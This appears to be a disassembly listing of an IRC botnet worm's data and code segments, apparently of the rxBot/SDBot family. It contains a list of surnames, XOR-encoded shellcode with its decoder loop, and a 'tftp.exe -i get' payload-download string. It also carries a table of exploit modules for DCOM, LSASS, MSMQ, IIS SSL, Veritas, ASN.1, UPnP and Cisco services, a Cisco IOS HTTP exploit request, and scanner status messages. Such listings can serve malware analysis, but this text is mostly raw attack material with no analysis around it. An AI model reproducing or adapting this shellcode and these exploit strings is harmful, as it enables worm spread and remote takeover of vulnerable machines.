aWengret	db 'Wengret',0          ; DATA XREF: seg002:00440CBCo
aVenne		db 'Venne',0            ; DATA XREF: seg002:00440CC0o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: seg002:00440CC4o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: seg002:00440CC8o
aWetzel		db 'Wetzel',0           ; DATA XREF: seg002:00440CCCo
		align 4
aWhately	db 'Whately',0          ; DATA XREF: seg002:00440CD0o
aWhilton	db 'Whilton',0          ; DATA XREF: seg002:00440CD4o
aWhite		db 'White',0            ; DATA XREF: seg002:00440CD8o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: seg002:00440CDCo
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: seg002:00440CE0o
		align 4
aViana		db 'Viana',0            ; DATA XREF: seg002:00440CE4o
		align 4
aViano		db 'Viano',0            ; DATA XREF: seg002:00440CE8o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: seg002:00440CECo
aWiener		db 'Wiener',0           ; DATA XREF: seg002:00440CF0o
		align 4
aViens		db 'Viens',0            ; DATA XREF: seg002:00440CF4o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: seg002:00440CF8o
aWilder		db 'Wilder',0           ; DATA XREF: seg002:00440CFCo
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: seg002:00440D00o
aWilk		db 'Wilk',0             ; DATA XREF: seg002:00440D04o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: seg002:00440D08o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: seg002:00440D0Co
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: seg002:00440D10o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: seg002:00440D14o
aWilson		db 'Wilson',0           ; DATA XREF: seg002:00440D18o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: seg002:00440D1Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: seg002:00440D20o
aVoigt		db 'Voigt',0            ; DATA XREF: seg002:00440D24o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: seg002:00440D28o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: seg002:00440D2Co
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: seg002:00440D30o
aWooden		db 'Wooden',0           ; DATA XREF: seg002:00440D34o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: seg002:00440D38o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: seg002:00440D3Co
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: seg002:00440D40o
aVotey		db 'Votey',0            ; DATA XREF: seg002:00440D44o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: seg002:00440D48o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: seg002:00440D4Co
		align 4
aYankee		db 'Yankee',0           ; DATA XREF: seg002:00440D50o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: seg002:00440D54o
aYates		db 'Yates',0            ; DATA XREF: seg002:00440D58o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: seg002:00440D5Co
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: seg002:00440D60o
aYesson		db 'Yesson',0           ; DATA XREF: seg002:00440D64o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: seg002:00440D68o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: seg002:00440D6Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: seg002:00440D70o
aYoukSee	db 'Youk-See',0         ; DATA XREF: seg002:00440D74o
		align 4
aYu		db 'Yu',0               ; DATA XREF: seg002:00440D78o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: seg002:00440D7Co
aZahedi		db 'Zahedi',0           ; DATA XREF: seg002:00440D80o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: seg002:00440D84o
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: seg002:00440D88o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: seg002:00440D8Co
aZoldak		db 'Zoldak',0           ; DATA XREF: seg002:00440D90o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: seg002:00440D94o
aZurn		db 'Zurn',0             ; DATA XREF: seg002:00440D98o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: seg002:00440D9Co
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: seg002:00440DA0o
		align 10h
aS_27		db '%s',0               ; DATA XREF: sub_408654+27o
		align 4
aSI		db '%s%i',0             ; DATA XREF: sub_408654+4Eo
		align 4
aS_28		db '%s',0               ; DATA XREF: seg000:004086D9o
		align 10h
aSI_0		db '%s%i',0             ; DATA XREF: seg000:00408700o
		align 4
aPc		db 'PC',0               ; DATA XREF: seg000:00408771o
		align 4
aPc_0		db 'PC',0
		align 10h
aPc_1		db 'PC',0               ; DATA XREF: seg000:004087C7o
		align 4
aSI_1		db '%s%i',0             ; DATA XREF: seg000:004087F2o
		align 4
aS_29		db '%s|',0              ; DATA XREF: seg000:00408840o
aSI_2		db '%s%i',0             ; DATA XREF: seg000:00408867o
		align 4
a95		db '95',0               ; DATA XREF: seg000:004088D5o
		align 4
aNt		db 'NT',0               ; DATA XREF: seg000:004088E3o
		align 10h
a98		db '98',0               ; DATA XREF: seg000:004088F3o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: seg000:00408903o
		align 4
a2k		db '2K',0               ; DATA XREF: seg000:0040891Co
		align 4
aXp_0		db 'XP',0               ; DATA XREF: seg000:0040892Co
		align 10h
a2k3		db '2K3',0              ; DATA XREF: seg000:0040893Ao
a???_0		db '???',0              ; DATA XREF: seg000:loc_408941o
aS_30		db '[%s]|',0            ; DATA XREF: seg000:0040894Ao
		align 10h
aSI_3		db '%s%i',0             ; DATA XREF: seg000:00408971o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_408990+1Fo
		align 10h
aM_0		db '[M]',0              ; DATA XREF: sub_408990+2Co
aDS		db '[%d]%s',0           ; DATA XREF: sub_408990+3Ao
		align 4
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_408990:loc_4089DFo
		align 4
aM_1		db '[M]',0              ; DATA XREF: sub_408990+5Co
; ---------------------------------------------------------------------------


loc_443858:				; DATA XREF: sub_408C38+C4o
		jmp	short loc_44385C
; ---------------------------------------------------------------------------


loc_44385A:				; CODE XREF: seg002:loc_44385Cp
		jmp	short loc_443861
; ---------------------------------------------------------------------------


loc_44385C:				; CODE XREF: seg002:loc_443858j
		call	loc_44385A


loc_443861:				; CODE XREF: seg002:loc_44385Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_443866	dw 0FFFFh		; DATA XREF: sub_408C38+CCw
		db 80h,	73h, 0Eh
byte_44386B	db 0FFh			; DATA XREF: sub_408C38+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_443870:				; DATA XREF: sub_408C38+A2o
		jmp	short loc_443874
; ---------------------------------------------------------------------------


loc_443872:				; CODE XREF: seg002:loc_443874p
		jmp	short loc_443879
; ---------------------------------------------------------------------------


loc_443874:				; CODE XREF: seg002:loc_443870j
		call	loc_443872


loc_443879:				; CODE XREF: seg002:loc_443872j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_44387D	db 0FFh			; DATA XREF: sub_408C38+AAw
		dw 7380h
		db 0Ch
byte_443881	db 0FFh			; DATA XREF: sub_408C38+B0w
		dw 0E243h
		dd 0F9h
dword_443888	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_408AC1+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4438EC	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_408AC1+79o
aJ_0		db 'j',0
		db 0E8h
dword_443905	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_44390C
		retn
; ---------------------------------------------------------------------------
byte_44390C	db 0E8h			; CODE XREF: seg002:00443909j
dword_44390D	dd 1		byte_443911	db 0, 6Ah, 0		; DATA XREF: sub_408AC1+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_44391B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; Sleep
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 35310302h, 25B302Ch,	91313003h, 2343003h, 72680254h
		dd 61026502h, 26C2064h,	2730269h, 30030274h, 31032C31h
		dd 32033A35h, 20h, 202E6425h, 7325h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_408FCD+35o
		align 4
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_408FCD+51o
		align 8
aNetbios_0	db 'netbios',0          ; DATA XREF: sub_409F32+164o
		db 2 dup(0)
aNetbios	db 'NetBios',0          ; DATA XREF: seg000:00409450o
					; seg000:0040A77Eo ...
		align 4
		dd 5 dup(0)
dword_4439F0	dd 8Bh							; seg000:00405ABCo ...
off_4439F4	dd offset sub_40E268	; DATA XREF: sub_409F32+1E6r
dword_4439F8	dd 0							; seg000:0040A7CCw ...
dword_4439FC	dd 0		dword_443A00	dd 0		dword_443A04	dd 0		aNtpass		db 'ntpass',0
		align 10h
		dd 544E0000h, 73736150h, 6 dup(0)
		dd 1BDh, 40E268h, 4 dup(0)
aDcom135	db 'dcom135',0
		dd 43440000h, 31204D4Fh, 3533h,	5 dup(0)
		dd 87h,	40AD11h, 0
		dd 1, 2	dup(0)
aDcom445	db 'dcom445',0
		dd 43440000h, 34204D4Fh, 3534h,	5 dup(0)
		dd 1BDh, 40AD11h, 0
		dd 1, 2	dup(0)
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'DCOM 1025',0
		dd 5 dup(0)
		dd 401h, 40AD11h, 0
		dd 1, 2	dup(0)
aLsass		db 'lsass',0
		align 10h
		dd 4F480000h, 534C2044h, 535341h, 5 dup(0)
		dd 1BDh, 40BD15h, 0
		dd 1, 2	dup(0)
aLsasscb	db 'lsasscb',0
		dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 0EE000001h
		retn	40h
; ---------------------------------------------------------------------------
		dd 0
		dd 1, 0
		dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h
		dd 5 dup(0)
		dd 87h,	40E474h, 0
		dd 1, 2	dup(0)
aLsass445	db 'lsass445',0
		align 2
aPlsass445	db 'PLSASS 445',0
		align 10h
		dd 4 dup(0)
		dd 1BDh, 40E474h, 0
		dd 1, 2	dup(0)
aLsass1025	db 'lsass1025',0
aPlsass1025	db 'PLSASS 1025',0
		align 10h
		dd 4 dup(0)
		dd 401h, 40E474h, 0
		dd 1, 2	dup(0)
aWks_eng	db 'wks_eng',0
		dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0)
		dd 1BDh, 40F633h, 0
		dd 1, 2	dup(0)
aWks_oth	db 'wks_oth',0
		dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0)
		dd 1BDh, 40F6BCh, 0
		dd 1, 2	dup(0)
		dd 67736Dh, 0
		dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
		dd 87h,	40C484h, 0
		dd 1, 2	dup(0)
aMsmq2103	db 'msmq2103',0
		align 2
aMsmq2103_0	db 'MSMQ 2103',0
		dd 5 dup(0)
		dd 837h, 40DD02h, 0
		dd 1, 2	dup(0)
aMsmq2105	db 'msmq2105',0
		align 2
aMsmq2105_0	db 'MSMQ 2105',0
		dd 5 dup(0)
		dd 839h, 40DD02h, 0
		dd 1, 2	dup(0)
aMsmq2107	db 'msmq2107',0
		align 2
aMsmq2107_0	db 'MSMQ 2107',0
		dd 5 dup(0)
		dd 83Bh, 40DD02h, 0
		dd 1, 2	dup(0)
aIis5ssl	db 'iis5ssl',0
		dd 49490000h, 53533553h, 4Ch, 5	dup(0)
		dd 1BBh, 40AFECh, 0
		dd 1, 0
		dd 1, 64626577h, 7661h,	65570000h, 56414462h, 6	dup(0)
		dd 50h,	40F00Ch, 0
		dd 1, 2	dup(0)
aVeritas	db 'veritas',0
		dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h
		dd 63h,	2 dup(0)
		dd 17D5h, 40EDBAh, 0
		dd 1, 2	dup(0)
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 10h
		dd 4 dup(0)
		dd 50h,	40D24Ch, 0
		dd 1, 2	dup(0)
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D24Ch, 0
		dd 1, 2	dup(0)
aMsass		db 'msass',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D24Ch, 0
		dd 1, 2	dup(0)
aUmpnp		db 'umpnp',0
		align 10h
		dd 4D550000h, 506E50h, 6 dup(0)
		dd 1BDh, 40E8C6h, 0
		dd 1, 2	dup(0)
		dd 6C6Dh, 0
		dd 4D490000h, 6C6961h, 6 dup(0)
		dd 8Fh,	40B12Ah, 0
		dd 1, 2	dup(0)
		dd 6376h, 0
		dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
		dd 170Ch, 41A8AAh, 0
		dd 1, 2	dup(0)
aCisco23	db 'cisco23',0
		dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0)
		dd 17h,	40A670h, 4 dup(0)
aCisco80	db 'cisco80',0
		dd 69430000h, 206F6373h, 50545448h, 5 dup(0)
		dd 50h,	40A7E3h, 14h dup(0)
		dd 6C6Dh, 0
		db 2 dup(0)
byte_4440D2	db 1			; DATA XREF: seg000:loc_40741Br
					; seg000:00407425o
		db 6Dh
		dd 6773h, 0
		dd 63760100h, 2	dup(0)
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_444106

; =============== S U B	R O U T	I N E =======================================



sub_4440F6	proc near		; CODE XREF: sub_4440F6:loc_444106p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4440FE:				; CODE XREF: sub_4440F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4440FE
		jmp	short loc_44410B
; ---------------------------------------------------------------------------


loc_444106:				; CODE XREF: seg002:004440F4j
		call	sub_4440F6


loc_44410B:				; CODE XREF: sub_4440F6+Ej
		jo	short near ptr dword_444070+36h
		cwde
		cdq
		cdq
		retn
sub_4440F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_444274	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: sub_409293+11o
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h
		dd 696F6C02h, 2207402h,	74617453h, 74736902h, 73636902h
		dd 3Ah
dword_4442B4	dd 25370320h, 203A0373h, 2C6425haTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_409293+85o
		align 4
dword_4442D4	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: seg000:00409398o
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72025402h
		dd 66736E61h, 2207265h,	61740253h, 74736974h, 3A736369h
		dd 2203403h, 54460254h,	3A025002h, 25203203h, 3202C64h
		dd 2460234h, 2500254h, 2032033Ah, 202C6425h, 6F543403h
		dd 36C6174h, 64252032h,	69340320h, 2032036Eh, 2E7325h
dword_44434C	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: seg000:004093EDo
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 3206425h
		dd 6F430234h, 65026E6Eh, 2627463h, 36B6361h, 2532032h
		dd 26C6568h, 3403736Ch,	6E026920h, 25203203h, 2E73h
dword_44439C	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: seg000:00409434o
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h
		dd 696F6C02h, 2207402h,	7302694Ch, 3A0274h
dword_4443D4	dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: seg000:0040949Eo
dword_4443F4	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F4502h
					; DATA XREF: seg000:00409566o
		dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 74203203h
		dd 6E697972h, 20340367h, 3207325h, 36E6F32h, 73252034h
		dd 28320320h, 74726F70h, 29642520h, 2E2E2Eh
dword_444440	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F4502h
					; DATA XREF: seg000:00409654o
		dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 66203203h
		dd 73696E69h, 20646568h, 6C707865h, 6974696Fh, 3403676Eh
		dd 20732520h, 25283203h, 74612064h, 706D6574h, 297374h
dword_444490	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: seg000:004096C3o
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72754302h
		dd 2657202h, 2074026Eh,	33A5049h, 73252034h, 2Eh
dword_4444CC	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F025302h
					; DATA XREF: seg000:004096D9o
		dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 2635302h
		dd 6E206E61h, 2074026Fh, 74026361h, 2760269h, 2E65h, 35310302h
		dd 25B302Ch, 91313003h,	54343003h, 54024602h, 64027002h
		dd 2C313003h, 3A353103h, 53203203h, 2726502h, 72026576h
		dd 2745320h, 2747261h, 6F206465h, 50206E02h, 2726F02h
		dd 34033A74h, 2C642520h, 46320320h, 26C6902h, 34033A65h
		dd 2E732520h, 0
		dd 35310302h, 25B302Ch,	91313003h, 54343003h, 54024602h
		dd 64027002h, 2C313003h, 3A353103h, 46203203h, 2696102h
		dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h
		dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h
		dd 2E3E64h, 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh
		dd 2700254h, 31300364h,	3531032Ch, 2032033Ah, 72650253h
		dd 2657602h, 74732072h,	74726102h, 20646502h, 206E026Fh
		dd 726F0250h, 33A0274h,	64252034h, 3203202Ch, 6C690246h
		dd 33A6502h, 73252034h,	2Eh, 35310302h,	25B302Ch, 91313003h
		dd 2343003h, 21F461Fh, 2700254h, 31300364h, 3531032Ch
		dd 2032033Ah, 69610246h, 2656C02h, 2542064h, 7453206Fh
		dd 74726102h, 65532002h, 2767202h, 202C7265h, 72720245h
		dd 3A726F02h, 3C203403h, 2E3E6425h, 0
unk_44466C	db    2			; DATA XREF: seg000:00409A2Fo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Fh, 6Eh
		db    2
		db 6Eh,	2, 65h
		db  63h	; c
		db 74h,	2, 42h
		db    2
		db 61h,	63h, 6Bh
		db    3
		db 30h,	32h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ServerStarted	db '2 Server started on Port: %d.',0
		align 4
dword_4446B4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26E6F43h
					; DATA XREF: seg000:00409A9Do
		dd 7463656Eh, 63614202h, 30036B02h, 31032C31h, 32033A35h
		dd 61024620h, 656C0269h, 54206402h, 53206F02h, 72610274h
		dd 53200274h, 76720265h, 2C726502h, 72024520h, 726F0272h
		dd 2034033Ah, 3E64253Ch, 2Eh
dword_444710	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F481Fh
					; DATA XREF: seg000:00409B57o
		dd 2540254h, 3640270h, 32C3130h, 33A3531h, 65532032h, 2767202h
		dd 6C207265h, 74736902h, 6E026502h, 26E6902h, 26F2067h
		dd 249206Eh, 34033A50h,	3A732520h, 202C6425h, 69443203h
		dd 2657202h, 6F027463h,	3A790272h, 25203403h, 2E5C73h
dword_444778	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F481Fh
					; DATA XREF: seg000:00409BC5o
		dd 2540254h, 3640270h, 32C3130h, 33A3531h, 2462032h, 6C026961h
		dd 20640265h, 206F0254h, 61027453h, 20027472h, 72026553h
		dd 72650276h, 4502202Ch, 2727202h, 33A726Fh, 253C2034h
		dd 2E3E64h
dword_4447D0	dd 252E6425h, 64252E64h, 64252EhaSocketOpenFail	db 'socket open failed',0 ; DATA XREF: seg000:00409E5Ao
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: seg000:00409E91o
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: seg000:00409EEBo
		align 4
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: seg000:00409F10o
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: seg000:loc_409F20o
		align 4
dword_444854	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F531Fh
					; DATA XREF: sub_409F32+93o
		dd 2610263h, 3130036Eh,	3531032Ch, 2032033Ah, 33A5049h
		dd 73252034h, 2C64253Ah, 53320320h, 2616302h, 274206Eh
		dd 65027268h, 64026102h, 2034033Ah, 202C6425h, 2533203h
		dd 22D6275h, 2726874h, 64026165h, 2034033Ah, 2E6425h
dword_4448B8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F531Fh
					; DATA XREF: sub_409F32+EBo
		dd 2610263h, 3130036Eh,	3531032Ch, 2032033Ah, 2500249h
		dd 2034033Ah, 202C7325h, 50023203h, 72026F02h, 34037402h
		dd 20642520h, 2693203h,	26F2073h, 2650270h, 2E6Eh
dword_444908	dd 35310302h, 25B302Ch,	91313003h, 2323003h, 21F531Fh
					; DATA XREF: sub_40A146+87o
		dd 2610263h, 3130036Eh,	3531032Ch, 2034033Ah, 61024602h
		dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h
		dd 2696C61h, 6320657Ah,	2697202h, 63026974h, 73206C61h
		dd 2636502h, 6F026974h,	2E6Eh
dword_444964	dd 35310302h, 25B302Ch,	91313003h, 2323003h, 21F531Fh
					; DATA XREF: sub_40A146+103o
		dd 2610263h, 3130036Eh,	3531032Ch, 2034033Ah, 253A7325h
		dd 3202C64h, 2530232h, 2610263h, 274206Eh, 65027268h, 64026102h
		dd 2034033Ah, 202C6425h, 2533203h, 742D6275h, 2726802h
		dd 64026165h, 2034033Ah, 2E6425h
dword_4449C4	dd 35310302h, 25B302Ch,	91313003h, 2323003h, 21F531Fh
					; DATA XREF: sub_40A146+173o
		dd 2610263h, 3130036Eh,	3531032Ch, 2034033Ah, 2610246h
		dd 65026C69h, 6F742064h, 2530220h, 72026174h, 2572074h
		dd 6B02726Fh, 20720265h, 72680274h, 2616502h, 2202C64h
		dd 72027245h, 72026F02h, 2032033Ah, 3E64253Ch, 2Eh
dword_444A28	dd 35310302h, 25B302Ch,	91313003h, 2323003h, 21F531Fh
					; DATA XREF: sub_40A146+1CEo
		dd 2610263h, 3130036Eh,	3531032Ch, 2034033Ah, 69024602h
		dd 69026E02h, 68027302h, 64026502h, 3746120h, 73252032h
		dd 2064253Ah, 61023403h, 65746602h, 20320372h, 3206425h
		dd 26D0234h, 74756E69h,	29732865h, 20666F20h, 63025302h
		dd 696E6E61h, 2E676Eh
dword_444A94	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 21F531Fh
					; DATA XREF: sub_40A3A5+92o
		dd 2610263h, 3003026Eh,	31032C32h, 32033A35h, 2490220h
		dd 33A0250h, 73252034h,	2320320h, 26F0250h, 3A740272h
		dd 25203403h, 32032064h, 2207369h, 6570024Fh, 2E6Eh
dword_444AE4	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 21F531Fh
					; DATA XREF: sub_40A472+41o
		dd 2610263h, 3003026Eh,	31032C32h, 32033A35h, 2530220h
		dd 6E026163h, 6E696E02h, 49022067h, 3A025002h, 25203403h
		dd 32032073h, 6F025002h, 74027202h, 2034033Ah, 2E6425h
dword_444B34	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 6F1F501Fh
					; DATA XREF: seg000:0040A5A4o
		dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C32h
		dd 32033A35h, 2530220h,	6E026163h, 6E696E02h, 49022067h
		dd 3A025002h, 25203403h, 3202C73h, 2500232h, 272026Fh
		dd 34033A74h, 2E642520h, 0
dword_444B90	dd 35310302h, 25B302Ch,	91343003h, 2323003h, 6F1F501Fh
					; DATA XREF: seg000:0040A634o
		dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C34h
		dd 34033A35h, 2460220h,	73696E69h, 20646568h, 63025302h
		dd 26E0261h, 676E696Eh,	2490220h, 33A0250h, 73252032h
		dd 2Eh
dword_444BE4	dd 63736963h, 0D6Fhdword_444BEC	dd 61500A0Dh, 7373haUserAccessVeri	db 0Dh,0Ah		; DATA XREF: seg000:0040A75Fo
		db 0Dh,0Ah
		db 'User Access Verification',0Dh,0Ah
		db 0Dh,0Ah
		db 'Password',0
		align 10h
unk_444C20	db    2			; DATA XREF: seg000:0040A784o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 69h, 1Fh
		db  73h	; s
		db 1Fh,	63h, 6Fh
		db    3
		db 31h,	35h, 28h
		db    3
		db 34h,	2, 54h
		db    2
		db 65h,	6Ch, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 74h,	3, 31h
		db  35h	; 5
		db 29h,	3, 30h
		db  32h	; 2
		db 2Ch,	3, 31h
		db  35h	; 5
		db 3Ah,	3, 32h
aFoundRouterS	db ' found router: %s',0
		align 4
aGetLevel16Exec	db 'GET /level/16/exec/-///pwd  HTTP/1.0',0Ah ; DATA XREF: seg000:0040A853o
		db 0Ah,0
		align 4
aGetLevel16Ex_0	db 'GET /level/16/exec/-///pwd  HTTP/1.0',0Ah ; DATA XREF: seg000:0040A85Fo
		db 0Ah,0
		align 4
aHttp1_0200Ok	db 'HTTP/1.0 200 OK',0  ; DATA XREF: seg000:0040A8B9o
aCisco		db 'cisco',0            ; DATA XREF: seg000:0040A8D4o
		align 4
unk_444CD4	db    2			; DATA XREF: seg000:0040A8F8o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	32h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 69h, 1Fh
		db  73h	; s
		db 1Fh,	63h, 6Fh
		db    3
		db 31h,	35h, 28h
		db    3
		db 34h,	2, 48h
		db    2
		db 2 dup(74h), 70h
		db  1Fh
		db 3, 31h, 35h
		db  29h	; )
		db 3, 30h, 32h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  3Ah	; :
		db 3, 32h, 20h
aFoundRouterS_0	db 'found router: %s',0
		align 4
